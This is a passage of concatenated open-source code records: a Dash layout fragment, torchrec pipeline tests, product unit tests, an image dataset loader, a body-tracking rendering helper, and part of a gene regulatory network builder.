html.Div(id=\"buffer\", className=\"buffer\"),\n # navbar.side_panel,\n html.Div(\n [importer.isotopomer_import_layout, importer.spectrum_import_layout],\n id=\"drawers-import\",\n ),\n dbc.Alert(\n id=\"alert-message-isotopomer\",\n color=\"danger\",\n dismissable=True,\n fade=True,\n is_open=False,\n ),\n dbc.Alert(\n id=\"alert-message-spectrum\",\n color=\"danger\",\n dismissable=True,\n fade=True,\n is_open=False,\n ),\n html.Div(body),\n about_modal,\n # test,\n # dbc.Jumbotron(),\n navbar.navbar_bottom,\n ],\n fluid=True,\n className=\"master-padding\",\n)\n", "source": "mVenetos97/mrsimulator-app", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport os\nimport unittest\nfrom dataclasses import dataclass\nfrom typing import Tuple, List, Optional, Dict\n\nimport torch\nimport torch.distributed as dist\nfrom torch import nn, optim\nfrom torchrec.distributed import DistributedModelParallel\nfrom torchrec.distributed.embedding_types import EmbeddingComputeKernel\nfrom torchrec.distributed.embedding_types import (\n SparseFeaturesList,\n)\nfrom torchrec.distributed.embeddingbag import (\n ShardedEmbeddingBagCollection,\n EmbeddingBagCollectionSharder,\n)\nfrom torchrec.distributed.tests.test_model import (\n TestSparseNN,\n ModelInput,\n TestEBCSharder,\n)\nfrom torchrec.distributed.train_pipeline import (\n TrainPipelineBase,\n TrainPipelineSparseDist,\n)\nfrom torchrec.distributed.types import (\n Awaitable,\n ParameterSharding,\n ShardedModuleContext,\n ShardingEnv,\n)\nfrom torchrec.distributed.types import (\n ShardingType,\n)\nfrom torchrec.modules.embedding_configs import EmbeddingBagConfig\nfrom torchrec.modules.embedding_modules import EmbeddingBagCollection\nfrom torchrec.optim.keyed import KeyedOptimizerWrapper\nfrom torchrec.sparse.jagged_tensor import KeyedJaggedTensor\nfrom torchrec.streamable import Pipelineable\nfrom torchrec.tests.utils import get_free_port, init_distributed_single_host\n\n\nclass TestShardedEmbeddingBagCollection(\n ShardedEmbeddingBagCollection[SparseFeaturesList, List[torch.Tensor]]\n):\n def input_dist(\n self,\n ctx: ShardedModuleContext,\n features: KeyedJaggedTensor,\n ) -> Awaitable[SparseFeaturesList]:\n return super().input_dist(ctx, features)\n\n\nclass TestCustomEBCSharder(EmbeddingBagCollectionSharder[EmbeddingBagCollection]):\n def shard(\n self,\n module: EmbeddingBagCollection,\n params: Dict[str, ParameterSharding],\n env: ShardingEnv,\n device: Optional[torch.device] = None,\n ) -> TestShardedEmbeddingBagCollection:\n return TestShardedEmbeddingBagCollection(\n module, params, env, self.fused_params, device\n )\n\n def sharding_types(self, compute_device_type: str) -> List[str]:\n return [\n ShardingType.TABLE_WISE.value,\n ]\n\n def compute_kernels(\n self, sharding_type: str, compute_device_type: str\n ) -> List[str]:\n return [EmbeddingComputeKernel.DENSE.value]\n\n\n@dataclass\nclass ModelInputSimple(Pipelineable):\n float_features: torch.Tensor\n label: torch.Tensor\n\n def to(self, device: torch.device, non_blocking: bool) -> \"ModelInputSimple\":\n return ModelInputSimple(\n float_features=self.float_features.to(\n device=device, non_blocking=non_blocking\n ),\n label=self.label.to(device=device, non_blocking=non_blocking),\n )\n\n def record_stream(self, stream: torch.cuda.streams.Stream) -> None:\n self.float_features.record_stream(stream)\n self.label.record_stream(stream)\n\n\nclass TestModule(nn.Module):\n def __init__(self) -> None:\n super().__init__()\n self.model = nn.Linear(10, 1)\n self.loss_fn = nn.BCEWithLogitsLoss()\n\n def forward(\n self, model_input: ModelInputSimple\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n pred = self.model(model_input.float_features)\n loss = self.loss_fn(pred, model_input.label)\n return (loss, pred)\n\n\nclass TrainPipelineBaseTest(unittest.TestCase):\n def setUp(self) -> None:\n self.device = torch.device(\"cuda:0\")\n torch.backends.cudnn.allow_tf32 = False\n torch.backends.cuda.matmul.allow_tf32 = False\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_equal_to_non_pipelined(self) -> None:\n model_cpu = TestModule()\n model_gpu = TestModule().to(self.device)\n model_gpu.load_state_dict(model_cpu.state_dict())\n optimizer_cpu = optim.SGD(model_cpu.model.parameters(), lr=0.01)\n optimizer_gpu = optim.SGD(model_gpu.model.parameters(), lr=0.01)\n data = [\n ModelInputSimple(\n float_features=torch.rand((10,)),\n label=torch.randint(2, (1,), dtype=torch.float32),\n )\n for b in range(5)\n ]\n dataloader = iter(data)\n pipeline = TrainPipelineBase(model_gpu, optimizer_gpu, self.device)\n\n for example in data[:-1]:\n optimizer_cpu.zero_grad()\n loss, pred = model_cpu(example)\n loss.backward()\n optimizer_cpu.step()\n\n pred_gpu = pipeline.progress(dataloader)\n\n self.assertEqual(pred_gpu.device, self.device)\n self.assertTrue(torch.isclose(pred_gpu.cpu(), pred))\n\n\nclass TrainPipelineSparseDistTest(unittest.TestCase):\n def setUp(self) -> None:\n os.environ[\"MASTER_ADDR\"] = str(\"localhost\")\n os.environ[\"MASTER_PORT\"] = str(get_free_port())\n self.pg = init_distributed_single_host(backend=\"gloo\", rank=0, world_size=1)\n\n num_features = 4\n num_weighted_features = 2\n\n self.tables = [\n EmbeddingBagConfig(\n num_embeddings=(i + 1) * 100,\n embedding_dim=(i + 1) * 4,\n name=\"table_\" + str(i),\n feature_names=[\"feature_\" + str(i)],\n )\n for i in range(num_features)\n ]\n self.weighted_tables = [\n EmbeddingBagConfig(\n num_embeddings=(i + 1) * 100,\n embedding_dim=(i + 1) * 4,\n name=\"weighted_table_\" + str(i),\n feature_names=[\"weighted_feature_\" + str(i)],\n )\n for i in range(num_weighted_features)\n ]\n\n self.device = torch.device(\"cuda:0\")\n\n def tearDown(self) -> None:\n super().tearDown()\n dist.destroy_process_group(self.pg)\n\n def _test_move_cpu_gpu_helper(\n self, distributed_model: DistributedModelParallel\n ) -> None:\n model_cpu = TestSparseNN(\n tables=self.tables, weighted_tables=self.weighted_tables\n )\n optimizer_cpu = optim.SGD(model_cpu.parameters(), lr=0.1)\n optimizer_distributed = KeyedOptimizerWrapper(\n dict(distributed_model.named_parameters()),\n lambda params: optim.SGD(params, lr=0.1),\n )\n pipeline = TrainPipelineSparseDist(\n distributed_model, optimizer_distributed, self.device\n )\n\n data = [\n ModelInput.generate(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n batch_size=1,\n world_size=1,\n num_float_features=10,\n )[0]\n for i in range(5)\n ]\n dataloader = iter(data)\n\n for example in data[:-2]:\n optimizer_cpu.zero_grad()\n loss, pred = model_cpu(example)\n loss.backward()\n optimizer_cpu.step()\n\n pred_gpu = pipeline.progress(dataloader)\n\n self.assertEqual(pred_gpu.device, self.device)\n self.assertEqual(pred_gpu.cpu().size(), pred.size())\n self.assertEqual(len(pipeline._pipelined_modules), 2)\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_move_cpu_gpu(self) -> None:\n unsharded_model = TestSparseNN(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n dense_device=self.device,\n sparse_device=torch.device(\"meta\"),\n )\n distributed_model = DistributedModelParallel(\n unsharded_model,\n env=ShardingEnv.from_process_group(self.pg),\n init_data_parallel=False,\n device=self.device,\n # pyre-ignore [6]\n sharders=[\n TestEBCSharder(\n sharding_type=ShardingType.TABLE_WISE.value,\n kernel_type=EmbeddingComputeKernel.DENSE.value,\n )\n ],\n )\n self._test_move_cpu_gpu_helper(distributed_model)\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_pipelining(self) -> None:\n unsharded_model = TestSparseNN(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n dense_device=self.device,\n sparse_device=torch.device(\"meta\"),\n )\n distributed_model = DistributedModelParallel(\n unsharded_model,\n env=ShardingEnv.from_process_group(self.pg),\n init_data_parallel=False,\n device=self.device,\n # pyre-fixme [6]\n sharders=[TestCustomEBCSharder()],\n )\n self._test_move_cpu_gpu_helper(distributed_model)\n", "source": "wenleix/torchrec", "license": "BSD-3-Clause"} {"text": "import unittest\nfrom datetime import datetime\n\nfrom src.product import ProductBundleDiscount\nfrom src.product.products import Product\n\nparam_name_sku_list = [(1), ([]), (''), ({})]\nparam_cost_price_list = [(\"abc\"), ([]), (''), ({})]\n\n\nclass TestProduct(unittest.TestCase):\n def test_product_must_raise_error_when_instantiated_with_no_properties(self):\n with self.assertRaises(TypeError):\n Product()\n\n def test_product_must_raise_error_when_instantiated_with_no_name(self):\n with self.assertRaises(TypeError):\n Product(name=None, cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_price(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=None, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_cost(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=None, price=1.00, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_sku(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=1.00, sku=None, unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_sku_that_is_not_a_string(self):\n for param_sku in param_name_sku_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=1.00, sku=param_sku, unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_name_that_is_not_a_string(self):\n for param_name in param_name_sku_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name=param_name, cost=0.50, price=1.00, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_cost_that_is_not_a_number(self):\n for param_cost in param_cost_price_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=param_cost, price=1.00, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_price_that_is_not_a_number(self):\n for param_price in param_cost_price_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=param_price, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_be_instantiated_given_correct_properties(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n self.assertEqual(product.name, 'beans')\n self.assertEqual(product.cost, 0.50)\n self.assertEqual(product.price, 1.00)\n self.assertEqual(product.sku, '001')\n\n def test_product_must_start_with_an_empty_price_history(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n now = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n print(product.price_history)\n self.assertEqual(product.price_history, [(1.00, now)])\n\n def test_product_string_method_must_return_the_name(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n self.assertEqual(str(product), 'beans')\n\n def test_product_can_be_associated_with_a_bundle_discount(self):\n bundle_discount = ProductBundleDiscount(bundle_quantity=2, bundle_price=0.50)\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un',\n stock_quantity=100, bundle_discount=bundle_discount)\n self.assertEqual(product.bundle_discount.bundle_quantity, 2)\n self.assertEqual(product.bundle_discount.bundle_price, 0.50)\n", "source": "TijsDeBelie/codekatas-TDD", "license": "MIT"} {"text": "__author__='lhq'\n\nimport os\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils.data import Dataset\n\ndef get_train_img():\n \"\"\"\n \u83b7\u53d6\u8f93\u5165\u6570\u636e\n :return:\n \"\"\"\n cwd=os.getcwd()\n mi_dir=cwd+'/dataset/train/mi/'\n shu_dir=cwd+'/dataset/train/shu/'\n file1=os.listdir(mi_dir)\n file0=os.listdir(shu_dir)\n # file1.sort(key=lambda x: int(x[:-4]))\n # file0.sort(key=lambda x: int(x[:-4]))\n mi_img_list=np.empty((1, 64, 64, 3))\n shu_img_list = np.empty((1, 64, 64, 3))\n label=[]\n for mi_img_content in file1:\n mi_img=Image.open(mi_dir+mi_img_content)\n mi_img = np.array(mi_img).reshape((1, 64, 64, 3))\n mi_img_list = np.concatenate((mi_img_list, mi_img), axis=0)\n label.append(1)\n for shu_img_content in file0:\n shu_img=Image.open(shu_dir+shu_img_content)\n shu_img = np.array(shu_img).reshape((1, 64, 64, 3))\n shu_img_list = np.concatenate((shu_img_list, shu_img), axis=0)\n label.append(0)\n mi_img_list = np.delete(mi_img_list, 0, 0)\n shu_img_list = np.delete(shu_img_list, 0, 0)\n label=[int(i) for i in label]\n label=np.array(label)\n img_list=np.concatenate((mi_img_list, shu_img_list), axis=0)\n return img_list,label\n\ndef get_test_img():\n \"\"\"\n \u83b7\u53d6\u8f93\u5165\u6570\u636e\n :return:\n \"\"\"\n cwd=os.getcwd()\n mi_dir=cwd+'/dataset/test/mi/'\n shu_dir=cwd+'/dataset/test/shu/'\n file1=os.listdir(mi_dir)\n file0=os.listdir(shu_dir)\n # file1.sort(key=lambda x: int(x[:-4]))\n # file0.sort(key=lambda x: int(x[:-4]))\n mi_img_list=np.empty((1, 64, 64, 3))\n shu_img_list = np.empty((1, 64, 64, 3))\n label=[]\n for mi_img_content in file1:\n mi_img=Image.open(mi_dir+mi_img_content)\n mi_img = np.array(mi_img).reshape((1, 64, 64, 3))\n mi_img_list = np.concatenate((mi_img_list, mi_img), axis=0)\n label.append(1)\n for shu_img_content in file0:\n shu_img=Image.open(shu_dir+shu_img_content)\n shu_img = np.array(shu_img).reshape((1, 64, 64, 3))\n shu_img_list = np.concatenate((shu_img_list, shu_img), axis=0)\n label.append(0)\n mi_img_list = np.delete(mi_img_list, 0, 0)\n shu_img_list = np.delete(shu_img_list, 0, 0)\n label=[int(i) for i in label]\n label=np.array(label)\n img_list=np.concatenate((mi_img_list, shu_img_list), axis=0)\n return img_list,label\n\nclass MyTrainDataset(Dataset):\n def __init__(self, transform=None, target_transform=None):\n imgs,label = get_train_img()\n self.imgs = imgs\n self.label=label\n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self, index):\n img = self.imgs[index]\n label=self.label[index]\n if self.transform is not None:\n img = self.transform(img)\n return img,label\n\n def __len__(self):\n return len(self.imgs)\n\nclass MyTestDataset(Dataset):\n def __init__(self, transform=None, target_transform=None):\n imgs,label = get_test_img()\n self.imgs = imgs\n self.label=label\n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self, index):\n img = self.imgs[index]\n label=self.label[index]\n if self.transform is not None:\n img = self.transform(img)\n return img,label\n\n def __len__(self):\n return len(self.imgs)\n\n", "source": "lhq1208/Cole", "license": "Apache-2.0"} {"text": "import cv2\nimport numpy as np\n\nfrom cv_viewer.utils import *\nimport pyzed.sl as sl\n\n#----------------------------------------------------------------------\n# 2D VIEW\n#----------------------------------------------------------------------\ndef cvt(pt, scale):\n '''\n Function that scales point coordinates\n '''\n out = [pt[0]*scale[0], pt[1]*scale[1]]\n return out\n\ndef render_2D(left_display, img_scale, objects, is_tracking_on):\n '''\n Parameters\n left_display (np.array): numpy array containing image data\n img_scale (list[float])\n objects (list[sl.ObjectData]) \n '''\n overlay = left_display.copy()\n\n # Render skeleton joints and bones\n for obj in objects:\n if render_object(obj, is_tracking_on):\n if len(obj.keypoint_2d) > 0:\n color = generate_color_id_u(obj.id)\n # Draw skeleton bones\n for part in SKELETON_BONES:\n kp_a = cvt(obj.keypoint_2d[part[0].value], img_scale)\n kp_b = cvt(obj.keypoint_2d[part[1].value], img_scale)\n # Check that the keypoints are inside the image\n if(kp_a[0] < left_display.shape[1] and kp_a[1] < left_display.shape[0] \n and kp_b[0] < left_display.shape[1] and kp_b[1] < left_display.shape[0]\n and kp_a[0] > 0 and kp_a[1] > 0 and kp_b[0] > 0 and kp_b[1] > 0 ):\n cv2.line(left_display, (int(kp_a[0]), int(kp_a[1])), (int(kp_b[0]), int(kp_b[1])), color, 1, cv2.LINE_AA)\n \n # Get spine base coordinates to create backbone\n left_hip = obj.keypoint_2d[sl.BODY_PARTS.LEFT_HIP.value]\n right_hip = obj.keypoint_2d[sl.BODY_PARTS.RIGHT_HIP.value]\n spine = (left_hip + right_hip) / 2\n kp_spine = cvt(spine, img_scale)\n kp_neck = cvt(obj.keypoint_2d[sl.BODY_PARTS.NECK.value], img_scale)\n # Check that the keypoints are inside the image\n if(kp_spine[0] < left_display.shape[1] and kp_spine[1] < left_display.shape[0] \n and kp_neck[0] < left_display.shape[1] and kp_neck[1] < left_display.shape[0]\n and kp_spine[0] > 0 and kp_spine[1] > 0 and kp_neck[0] > 0 and kp_neck[1] > 0\n and left_hip[0] > 0 and left_hip[1] > 0 and right_hip[0] > 0 and right_hip[1] > 0 ):\n cv2.line(left_display, (int(kp_spine[0]), int(kp_spine[1])), (int(kp_neck[0]), int(kp_neck[1])), color, 1, cv2.LINE_AA)\n\n # Skeleton joints\n for kp in obj.keypoint_2d:\n cv_kp = cvt(kp, img_scale)\n if(cv_kp[0] < left_display.shape[1] and cv_kp[1] < left_display.shape[0]):\n cv2.circle(left_display, (int(cv_kp[0]), int(cv_kp[1])), 3, color, -1)\n if(kp_spine[0] < left_display.shape[1] and kp_spine[1] < left_display.shape[0]\n and left_hip[0] > 0 and left_hip[1] > 0 and right_hip[0] > 0 and right_hip[1] > 0 ):\n cv2.circle(left_display, (int(kp_spine[0]), int(kp_spine[1])), 3, color, -1)\n \n cv2.addWeighted(left_display, 0.9, overlay, 0.1, 0.0, left_display)", "source": "khanfarhan10/zed-examples", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n# Copyright (c) 2009-2019 Quan Xu \n#\n# This module is free software. You can redistribute it and/or modify it under\n# the terms of the MIT License, see the file COPYING included with this\n# distribution.\n\n\"\"\"Build gene regulatory network\"\"\"\n\n# Python imports\nimport os\nimport math\nimport re\nimport shutil\nimport sys\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import rankdata\nfrom sklearn.preprocessing import minmax_scale\nimport dask.dataframe as dd\nfrom tempfile import NamedTemporaryFile, mkdtemp\nfrom dask.distributed import progress\nfrom loguru import logger\nfrom pandas import HDFStore\nfrom tqdm.auto import tqdm\n\nimport pyranges as pr\n\nwarnings.filterwarnings(\"ignore\")\nPACKAGE_DIR = os.path.dirname(__file__)\n\n\nclass Network(object):\n def __init__(\n self,\n ncore=1,\n genome=\"hg38\",\n gene_bed=None,\n include_promoter=False,\n include_enhancer=True,\n ):\n \"\"\"\n infer cell type-specific gene regulatory network\n\n Parameters\n ----------\n ncore : int\n Specifies the number of threads to use during analysis. (default: 1)\n genome : str\n The genome that is used for the gene annotation and the enhancer location. (default: \"hg38\")\n gene_bed : str, optional\n Gene annotation for the genome specified with -g as a 12 column BED file. (default: None)\n include_promoter : bool\n Include or exclude promoter peaks (<= TSS +/- 2kb) in network inference. (default: False)\n include_enhancer : bool\n Include or exclude enhancer peaks (> TSS +/- 2kb) in network inference. (default: True)\n \"\"\"\n self.ncore = ncore\n self.genome = genome\n self._tmp_files = []\n\n # # Motif information file\n # if pfmfile is None:\n # self.pfmfile = \"../data/gimme.vertebrate.v5.1.pfm\"\n # else:\n # self.pfmfile = pfmfile\n\n # self.motifs2factors = self.pfmfile.replace(\".pfm\", \".motif2factors.txt\")\n # self.factortable = self.pfmfile.replace(\".pfm\", \".factortable.txt\")\n\n # Gene information file\n self.gene_bed = gene_bed\n if gene_bed is None:\n if self.genome in [\"hg38\", \"hg19\"]:\n self.gene_bed = os.path.join(\n PACKAGE_DIR, \"db\", f\"{self.genome}.genes.bed\"\n )\n else:\n raise TypeError(\"Please provide a gene bed file with -a argument.\")\n if not os.path.exists(self.gene_bed):\n raise FileNotFoundError(\n f\"Could not find the gene bed file {self.gene_bed}.\"\n )\n\n # self.promoter = promoter\n self.include_promoter = include_promoter\n\n self.include_enhancer = include_enhancer\n\n @staticmethod\n def unique_enhancers(fname):\n \"\"\"Extract a list of unique enhancers.\n\n Parameters\n ----------\n fname : str\n File name of a tab-separated file that contains an 'enhancer' column.\n\n Returns\n -------\n PyRanges object with enhancers\n \"\"\"\n logger.info(\"reading enhancers\")\n\n # Read enhancers from binding file\n header = pd.read_table(fname, nrows=0)\n idx = header.columns.get_loc(\"enhancer\")\n skiprows = 1\n chunksize = 2_000_000\n enhancers = np.array([])\n while True:\n try:\n tmp = pd.read_table(\n fname,\n usecols=[idx],\n header=None,\n nrows=chunksize,\n skiprows=skiprows,\n )\n except pd.errors.EmptyDataError:\n break\n if tmp.shape[0] == 0 or tmp.iloc[0, 0] in enhancers:\n break\n\n skiprows += chunksize\n enhancers = np.hstack((enhancers, tmp.iloc[:, 0].unique()))\n enhancers = np.unique(enhancers)\n\n # Split into columns and create PyRanges object\n p = re.compile(\"[:-]\")\n enhancers = pr.PyRanges(\n pd.DataFrame(\n [re.split(p, e) for e in enhancers],\n columns=[\"Chromosome\", \"Start\", \"End\"],\n )\n )\n return enhancers\n\n @staticmethod\n def distance_weight(\n include_promoter=False,\n include_enhancer=True,\n alpha=1e4,\n maximum_distance=100_000,\n full_weight_region=5000,\n promoter_region=2000,\n ):\n \"\"\"Build weight distribution based on distance to TSS.\n\n The basic idea is similar to Wang et al. [1], with some modifications.\n The resulting weight ranges from 0 (far from the TSS) to 1 (near the\n TSS) and is based on several different variables.\n\n If `include_promoter` is `True`, then distances smaller than\n `promoter_region` are included, otherwise they are excluded, the weight\n is set to 0.\n The `full_weight_region` parameters determines the region where\n the weight will be 1, regardless of distance. The `maximum_distance`\n parameter sets the maximum distance to consider. The weight decays with\n an increasing distance, starting from 1 at `full_weight_region` to 0\n at `maximum_distance`. The `alpha` parameters controls the decay.\n\n Parameters\n ----------\n include_promoter : bool, optional\n Include promoter regions. Default is False.\n include_enhancer : bool, optional\n Include enhancer regions, ie. regions that are distal to the\n promoter.\n alpha : float, optional\n Controls weight decay, default is 1e4.\n maximum_distance : int, optional\n Maximum distance from TSS to consider. Default is 100kb.\n full_weight_region : int, optional\n Distance where regions will receive the full weight. Default\n is 5kb.\n promoter_region : int, optional\n Promoter region, default is 2kb.\n\n Returns\n -------\n DataFrame with two columns: distance and weight.\n\n References\n ----------\n ..[1] Wang S, Zang C, Xiao T, Fan J, Mei S, Qin Q, Wu Q, Li X, Xu K,\n He HH, Brown M, Meyer CA, Liu XS. \"Modeling cis-regulation with a\n compendium of genome-wide histone H3K27ac profiles.\" Genome Res.\n 2016 Oct;26(10):1417-1429. doi: 10.1101/gr.201574.115. PMID: 27466232\n \"\"\"\n u = -math.log(1.0 / 3.0) * 1e5 / alpha\n\n promoter_weight = int(include_promoter)\n enhancer_weight = int(include_enhancer)\n\n weight1 = pd.DataFrame(\n {\n \"weight\": [promoter_weight for _ in range(0, promoter_region + 1)],\n \"dist\": range(0, promoter_region + 1),\n }\n )\n\n weight2 = pd.DataFrame(\n {\n \"weight\": [\n enhancer_weight\n for _ in range(promoter_region + 1, full_weight_region + 1)\n ],\n \"dist\": range(promoter_region + 1, full_weight_region + 1),\n }\n )\n\n weight3 = pd.DataFrame(\n {\n \"weight\": [\n enhancer_weight\n * 2.0\n * math.exp(-u * math.fabs(z) / 1e5)\n / (1.0 + math.exp(-u * math.fabs(z) / 1e5))\n for z in range(1, maximum_distance - full_weight_region + 1)\n ],\n \"dist\": range(full_weight_region + 1, maximum_distance + 1),\n }\n )\n\n weight = pd.concat([weight1, weight2, weight3])\n return weight\n\n def enhancer2gene(\n self,\n peak_pr,\n up=100_000,\n down=100_000,\n alpha=1e4,\n promoter=2000,\n full_weight_region=5000,\n ):\n \"\"\"Couple enhancers to genes.\n\n Parameters\n ----------\n peak_pr : PyRanges object\n PyRanges object with enhancer regions.\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distabce, by default 100kb.\n alpha : float, optional\n Parameter to control weight decay, by default 1e4.\n promoter : int, optional\n Promoter region, by default 2000.\n full_weight_region : int, optional\n Region that will receive full weight, by default 5000.\n\n Returns\n -------\n pandas.DataFrame\n DataFrame with enhancer regions, gene names, distance and weight.\n \"\"\"\n genes = region_gene_overlap(peak_pr, self.gene_bed)\n\n # Get the distance from center of enhancer to TSS\n # Correct for extension\n genes[\"dist\"] = (\n (genes[\"Start_b\"] + genes[\"End_b\"]) / 2 - genes[\"Start\"]\n ).astype(int)\n genes.loc[genes[\"Strand\"] == \"+\", \"dist\"] -= up\n genes.loc[genes[\"Strand\"] == \"-\", \"dist\"] -= down\n genes[\"dist\"] = np.abs(genes[\"dist\"])\n\n # Create region in chr:start:end format\n genes[\"loc\"] = (\n genes[\"Chromosome\"].astype(str)\n + \":\"\n + genes[\"Start_b\"].astype(str)\n + \"-\"\n + genes[\"End_b\"].astype(str)\n )\n\n # Keep the gene-enhancer combination with the smallest distance\n genes = genes.sort_values(\"dist\").drop_duplicates(\n subset=[\"loc\", \"Name\"], keep=\"first\"\n )\n\n # Return the right stuff\n genes = genes.set_index(\"loc\")[[\"Name\", \"dist\"]].rename(\n columns={\"Name\": \"gene\"}\n )\n\n # Get distance-based wight\n weight = self.distance_weight(\n include_promoter=self.include_promoter,\n include_enhancer=self.include_enhancer,\n alpha=alpha,\n promoter_region=promoter,\n full_weight_region=full_weight_region,\n ).set_index(\"dist\")\n genes = genes.join(weight, on=\"dist\")\n\n return genes\n\n def aggregate_binding(\n self,\n binding_fname,\n tfs=None,\n up=1e5,\n down=1e5,\n alpha=None,\n promoter=2000,\n full_weight_region=5000,\n combine_function=\"sum\",\n ):\n \"\"\"Summarize all binding signal per gene per TF.\n\n Return a dask delayed computation object.\n\n Parameters\n ----------\n binding_fname : str\n Filename of binding network.\n tfs : list, optional\n List of transcription factor names, by default None, which means\n that all TFs will be used.\n up : int, optional\n Maximum upstream region to include, by default 1e5\n down : [type], optional\n Maximum downstream region to include, by default 1e5\n alpha : float, optional\n Distance at which the weight will be half, by default None\n promoter : int, optional\n Promoter region, by default 2000\n full_weight_region : int, optional\n Region that will receive full weight, regardless of distance, by\n default 5000.\n combine_function : str, optional\n How to combine signal of weighted enhancers, by default \"sum\".\n Valid options are \"sum\", \"mean\" or \"max\".\n\n Returns\n -------\n dask.DataFrame\n DataFrame with delayed computations.\n \"\"\"\n if not os.path.exists(binding_fname):\n raise ValueError(f\"File {binding_fname} does not exist!\")\n\n if combine_function not in [\"mean\", \"max\", \"sum\"]:\n raise NotImplementedError(\n \"Unknown combine function, valid options are: mean, max, sum\"\n )\n\n maximum_distance = max(up, down)\n if alpha is None:\n alpha = maximum_distance / 10\n\n if promoter > maximum_distance:\n raise ValueError(\n \"promoter region is larger than the maximum distance to use\"\n )\n\n hdf = HDFStore(binding_fname, \"r\")\n\n # TODO: This is hacky (depending on \"_\"), however the hdf.keys() method is\n # much slower. Currently all TF names do *not* start with \"_\"\n all_tfs = [x for x in dir(hdf.root) if not x.startswith(\"_\")]\n logger.info(f\"Binding file contains {len(all_tfs)} TFs.\")\n if tfs is None:\n tfs = all_tfs\n else:\n not_valid = set(all_tfs) - set(tfs)\n if len(not_valid) > 1:\n logger.warning(\n f\"The following TFs are found in {binding_fname}, but do not seem to be TFs:\"\n )\n logger.warning(\", \".join(not_valid))\n tfs = set(tfs) & set(all_tfs)\n logger.info(f\"Using {len(tfs)} TFs.\")\n\n # Read enhancer index from hdf5 file\n enhancers = hdf.get(key=\"_index\")\n chroms = enhancers.index.to_series().str.replace(\":.*\", \"\").unique()\n\n tmpdir = mkdtemp()\n self._tmp_files.append(tmpdir) # mark for deletion later\n\n # Summarize enhancers per gene, per chromosome. In principle this could\n # also be done at once, however, the memory usage of dask is very finicky.\n # This is a pragmatic solution, that seems to work well, does not use a\n # lot of memory and is not too slow (~50 seconds per chromosome).\n for chrom in chroms:\n logger.info(f\"Aggregating binding for genes on {chrom}\")\n\n # Get the index of all enhancers for this specific chromosome\n idx = enhancers.index.str.contains(f\"^{chrom}:\")\n idx_i = np.arange(enhancers.shape[0])[idx]\n\n # Create a pyranges object\n enhancer_pr = pr.PyRanges(\n enhancers[idx]\n .index.to_series()\n .str.split(r\"[:-]\", expand=True)\n .rename(columns={0: \"Chromosome\", 1: \"Start\", 2: \"End\"})\n )\n\n # Link enhancers to genes on basis of distance to annotated TSS\n gene_df = self.enhancer2gene(\n enhancer_pr,\n up=up,\n down=down,\n alpha=alpha,\n promoter=promoter,\n full_weight_region=full_weight_region,\n )\n gene_df = gene_df.dropna()\n\n bp = pd.DataFrame(index=enhancers[idx].index)\n\n for tf in tqdm(\n tfs, total=len(tfs), desc=\"Aggregating\", unit_scale=1, unit=\" TFs\"\n ):\n # Load TF binding data for this chromosome.\n # hdf.get() is *much* faster here than pd.read_hdf()\n bp[tf] = hdf.get(key=tf)[idx_i].values\n\n # Skipping everything with weight 0, as it won't be counted anyway.\n gene_df = gene_df[gene_df[\"weight\"] > 0]\n\n # Make sure binding score and enhancers match up (i.e. same enhancer\n # is used for multiple genes)\n gene_df = gene_df.join(bp).dropna()\n bp = gene_df[tfs]\n gene_df = gene_df[[\"gene\", \"weight\"]]\n\n # Multiply binding score by weight\n bp = bp.mul(gene_df[\"weight\"], axis=0)\n\n # Summarize weighted score per gene\n bp[\"gene\"] = gene_df[\"gene\"]\n tmp = bp.groupby(\"gene\")\n if combine_function == \"mean\":\n tmp = tmp.mean()\n elif combine_function == \"max\":\n tmp = tmp.max()\n elif combine_function == \"sum\":\n tmp = tmp.sum()\n\n # Go from wide to long format, to 